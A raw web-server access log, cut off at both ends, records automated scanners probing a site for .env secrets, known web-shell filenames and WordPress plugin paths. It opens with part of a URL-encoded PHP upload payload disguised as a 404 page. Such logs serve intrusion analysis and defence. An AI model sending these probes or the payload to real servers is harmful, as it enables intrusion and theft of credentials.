%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 195.178.110.57 - - [19/Jan/2025:19:10:10 +0530] "GET /.env HTTP/1.1" 302 224 "-" "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia5700/3.27; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413" 18.143.133.223 - - [19/Jan/2025:19:18:35 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:35:22 +0530] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 302 265 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:35:59 +0530] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 302 265 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:36:16 +0530] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 302 265 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:36:25 +0530] "GET /themes.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:36:30 +0530] "GET /admin.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:36:39 +0530] "GET /simple.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:36:39 +0530] "GET /first.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:36:41 +0530] "GET /wp-atom.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:36:41 +0530] "GET /admin.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:36:44 +0530] "GET /ALFA_DATA/alfacgiapi/?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:36:48 +0530] "GET /admin.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:36:50 +0530] "GET /shell.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:36:52 +0530] "GET /wp-includes/js/tinymce/plugins/image/index.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:36:54 +0530] "GET /classwithtostring.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:36:56 +0530] "GET /wp-includes/SimplePie/index.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:37:00 +0530] "GET /chosen.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:37:03 +0530] "GET /wp-content/uploads/index.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:37:07 +0530] "GET /ninja.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.146.35.203 - - [19/Jan/2025:19:37:09 +0530] "GET /link.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 302 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:37:12 +0530] "GET /log-mama/function.php HTTP/1.1" 302 241 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:37:17 +0530] "GET /bk/index.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:38:22 +0530] "GET /themes.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:38:24 +0530] "GET /admin.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:38:33 +0530] "GET /first.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:38:38 +0530] "GET /admin.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:38:55 +0530] "GET /themes.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:38:56 +0530] "GET /admin.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:38:59 +0530] "GET /log-mama/function.php HTTP/1.1" 302 241 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:39:00 +0530] "GET /bk/index.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:39:22 +0530] "GET /first.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:39:27 +0530] "GET /admin.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:39:52 +0530] "GET /log-mama/function.php HTTP/1.1" 302 241 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:39:55 +0530] "GET /bk/index.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:42:59 +0530] "GET /fwe.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:01 +0530] "GET /wp-content/11.php HTTP/1.1" 302 237 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:02 +0530] "GET /class.api.php HTTP/1.1" 302 233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:03 +0530] "GET /.well-known/class.api.php HTTP/1.1" 302 245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:04 +0530] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:05 +0530] "GET /wp-content/class.api.php HTTP/1.1" 302 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:06 +0530] "GET /.tmb/class.api.php HTTP/1.1" 302 238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:07 +0530] "GET /images/class.api.php HTTP/1.1" 302 240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:08 +0530] "GET /wp-content/uploads/class.api.php HTTP/1.1" 302 252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:10 +0530] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 302 260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:11 +0530] "GET /wp-includes/class.api.php HTTP/1.1" 302 245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:12 +0530] "GET /wp-content/json.php HTTP/1.1" 302 239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:13 +0530] "GET /wp-content/uploads/json.php HTTP/1.1" 302 247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:14 +0530] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 302 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:15 +0530] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 302 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:16 +0530] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 302 256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:17 +0530] "GET /wp-content/themes/panama/json.php HTTP/1.1" 302 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:18 +0530] "GET /wp-content/themes/moog/config.php HTTP/1.1" 302 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:19 +0530] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 302 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:20 +0530] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 302 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:21 +0530] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 302 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:22 +0530] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 302 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:23 +0530] "GET /wp-content/themes/quext/config.php HTTP/1.1" 302 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:24 +0530] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 302 262 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:25 +0530] "GET /wp-content/smm.php HTTP/1.1" 302 238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:26 +0530] "GET /jetpack.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:28 +0530] "GET /ws.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:29 +0530] "GET /bala.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:30 +0530] "GET /radio.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:43:31 +0530] "GET /504.php HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:31 +0530] "GET /xltavrat.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:32 +0530] "GET /.wp-back.phP HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:33 +0530] "GET /wp-admin/fw.php HTTP/1.1" 302 235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:34 +0530] "GET /wp-content/fw.php HTTP/1.1" 302 237 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:35 +0530] "GET /autoload_classmap.php HTTP/1.1" 302 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:36 +0530] "GET /wp-includes/wp-class.php HTTP/1.1" 302 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:37 +0530] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 302 249 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:38 +0530] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 302 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:39 +0530] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 302 273 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:40 +0530] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 302 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:41 +0530] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:42 +0530] "GET /wp-config-sample.php HTTP/1.1" 302 240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:43 +0530] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:44 +0530] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 302 280 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:45 +0530] "GET /libraries/fof/database/iterator/xmrlpc.php?p= HTTP/1.1" 302 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:46 +0530] "GET /wp-content/style-css.php HTTP/1.1" 302 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:47 +0530] "GET /wp-content/data-db.php HTTP/1.1" 302 242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:48 +0530] "GET /.well-known/wp-login.php HTTP/1.1" 302 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:49 +0530] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 302 262 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:50 +0530] "GET /plugins/finder/categories/about.php HTTP/1.1" 302 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:51 +0530] "GET /updates.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:52 +0530] "GET /wp-includes/rest-api/about.php HTTP/1.1" 302 250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:53 +0530] "GET /wp-head.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:54 +0530] "GET /thanks.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:55 +0530] "GET /wp-includes/random_compat/about.php HTTP/1.1" 302 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:56 +0530] "GET /alfa-rex.php7 HTTP/1.1" 302 233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:58 +0530] "GET /wp-content/themes/finley/min.php HTTP/1.1" 302 252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:43:59 +0530] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 302 259 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:00 +0530] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 302 261 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:01 +0530] "GET /xl2023.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:02 +0530] "GET /xl2023.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:03 +0530] "GET /wp-admin/xl2023.php HTTP/1.1" 302 239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:04 +0530] "GET /wp-content/xl2023.php HTTP/1.1" 302 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:05 +0530] "GET /wp-includes/xl2023.php HTTP/1.1" 302 242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:07 +0530] "GET /wp-content/themes/applica/400.php HTTP/1.1" 302 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:08 +0530] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 302 260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:09 +0530] "GET /xleet.php 